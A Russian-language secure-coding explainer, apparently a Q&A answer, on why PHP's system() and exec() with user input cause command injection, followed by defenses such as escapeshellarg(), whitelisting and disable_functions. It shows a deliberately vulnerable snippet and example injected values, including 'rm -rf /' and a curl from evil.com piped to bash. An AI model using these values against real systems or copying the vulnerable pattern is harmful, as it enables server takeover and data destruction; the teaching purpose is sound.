Почему использование функции system() или exec() в PHP с переменными пользователя — это критическая дыра в безопасности?
Использование функций system(), exec(), shell_exec(), passthru() и подобных в PHP с пользовательскими переменными без надлежащей обработки является одной из самых опасных уязвимостей — Command Injection (внедрение команд). Она входит в топ критических уязвимостей по классификации OWASP и может привести к полной компрометации сервера.
**Как работает атака**
Когда разработчик пишет код вида:
php
$filename = $_GET[‘file’];
system(‘cat ‘ . $filename);
злоумышленник может передать в параметре `file` значение вроде `; rm -rf /` или `&& curl http://evil.com/shell.sh | bash`. В результате оболочка операционной системы (bash, sh) интерпретирует переданную строку как несколько команд и выполнит их с правами веб-сервера.
**Почему это критично**
1. **Remote Code Execution (RCE)** — атакующий получает возможность выполнять произвольный код на сервере. Это наивысший уровень угрозы.
2. **Эскалация привилегий** — если PHP-процесс работает с повышенными правами, злоумышленник может получить root-доступ.
3. **Утечка данных** — можно прочитать конфигурационные файлы, базы данных, SSH-ключи.
4. **Установка бэкдора** — атакующий может загрузить и запустить вредоносное ПО, создав постоянный доступ к серверу.
5. **Атаки на внутреннюю сеть** — сервер становится плацдармом для атак на другие системы в локальной сети.
**Методы защиты**
— **Избегать системных вызовов с пользовательскими данными** — это лучшее решение. Часто задачу можно решить средствами PHP без вызова оболочки.
— **Использовать escapeshellarg()** — функция экранирует аргумент, оборачивая его в кавычки и экранируя спецсимволы:
php
system(‘cat ‘ . escapeshellarg($filename));
— **Использовать escapeshellcmd()** — экранирует всю команду, но менее надёжна, чем escapeshellarg().
— **Белый список значений** — разрешать только заранее известные безопасные значения:
php
$allowed = [‘report.txt’, ‘log.txt’];
if (in_array($filename, $allowed)) { system(‘cat ‘ . $filename); }
— **Минимальные привилегии** — PHP-процесс должен работать от непривилегированного пользователя.
— **Отключить опасные функции** в php.ini через директиву `disable_functions`.
— **WAF и мониторинг** — использовать веб-аппликационный фаервол для обнаружения попыток инъекций.
**Вывод**
Даже одна строка кода с непроверенными пользовательскими данными в системном вызове может стоить полной потери контроля над сервером. Правило простое: никогда не доверяйте пользовательскому вводу и никогда не передавайте его напрямую в функции выполнения системных команд.
